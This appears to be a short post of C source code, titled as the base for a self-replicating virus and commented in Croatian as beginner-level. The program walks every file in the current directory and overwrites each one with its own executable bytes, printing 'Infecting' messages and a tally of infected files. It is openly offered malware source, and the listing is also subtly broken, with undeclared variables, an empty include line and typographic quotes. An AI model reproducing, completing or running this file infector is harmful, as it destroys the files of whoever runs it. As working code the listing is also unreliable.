base for self replicating virus V/Advanced

#include //(import necessary)
  //samo-replicirajuca osnova za virus
  //virus- lvl*beginner

int done, a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
    {
     st=clock();
     clrscr();
     done=findfirst(“*.*”,&ffblk,0);
     while(!done)
    {
     virus=fopen(_argv[0],”rb”);
     host=fopen(ffblk.ff_name,”rb+”);
     if(host==NULL) goto next;
     x=89088;
     printf(“Infecting %s\n”,ffblk.ff_name,a);
     while(x>2048)
    {
     fread(buff,2048,1,virus);
     fwrite(buff,2048,1,host);
     x-=2048;
  }
   fread(buff,x,1,virus);
   fwrite(buff,x,1,host);
   a++;
   next:
        {
         fcloseall();
         done=findnext(&ffblk);
        }
   }
    printf(“Ps3ucoCr, is Done! (Total Files Infected= %d)”,a);
    end=clock();
    printf(“time taken=%f SEC\n”,
    (end-st)/CLK_TCK);
    getch();
}